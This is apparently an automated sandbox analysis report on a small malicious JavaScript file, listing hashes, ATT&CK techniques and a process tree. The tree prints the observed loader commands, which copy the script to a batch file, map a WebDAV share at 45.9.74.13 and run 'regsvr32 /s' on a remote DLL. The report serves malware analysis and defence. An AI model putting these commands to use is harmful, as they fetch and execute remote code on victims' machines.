b7ae8a43cf3a21ce59b7e2f3ebd4cbd1e4829be161a0ca741263213650268130

Analysis

max time kernel
122s
max time network
127s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
08/07/2024, 18:19

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General

Target

1596228854147431664.js
Size

5KB
MD5

e26306373fb0a0fa5848b97ac26e42f7
SHA1

55e02de122c82235b08f13e80a6058589ae5914c
SHA256

b7ae8a43cf3a21ce59b7e2f3ebd4cbd1e4829be161a0ca741263213650268130
SHA512

ab17bfbe73e8ef9bcb76693e8247510694d4b95e1bc90711779ca1c9208e323bbfde328dcefe5c08904c8dd36130bf9d00bed88f71ca9e32e47f1025fcbd8ef5
SSDEEP

96:GnetLLjV3DbElOsslbNYTkujNI3qquuxOQwNujMuKYUl5kmYUlE:iep3lDbT9VSN4qqDRwNSMRl5kulE

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2664	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1472 wrote to memory of 1616	1472	wscript.exe	30
PID 1472 wrote to memory of 1616	1472	wscript.exe	30
PID 1472 wrote to memory of 1616	1472	wscript.exe	30
PID 1616 wrote to memory of 2784	1616	cmd.exe	32
PID 1616 wrote to memory of 2784	1616	cmd.exe	32
PID 1616 wrote to memory of 2784	1616	cmd.exe	32
PID 1616 wrote to memory of 2664	1616	cmd.exe	33
PID 1616 wrote to memory of 2664	1616	cmd.exe	33
PID 1616 wrote to memory of 2664	1616	cmd.exe	33
PID 1616 wrote to memory of 2664	1616	cmd.exe	33
PID 1616 wrote to memory of 2664	1616	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1596228854147431664.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1596228854147431664.js" "C:\Users\Admin\\tolaey.bat" && "C:\Users\Admin\\tolaey.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1616
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2784
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\990.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\tolaey.bat

Filesize
5KB

MD5
e26306373fb0a0fa5848b97ac26e42f7

SHA1
55e02de122c82235b08f13e80a6058589ae5914c

SHA256
b7ae8a43cf3a21ce59b7e2f3ebd4cbd1e4829be161a0ca741263213650268130

SHA512
ab17bfbe73e8ef9bcb76693e8247510694d4b95e1bc90711779ca1c9208e323bbfde328dcefe5c08904c8dd36130bf9d00bed88f71ca9e32e47f1025fcbd8ef5

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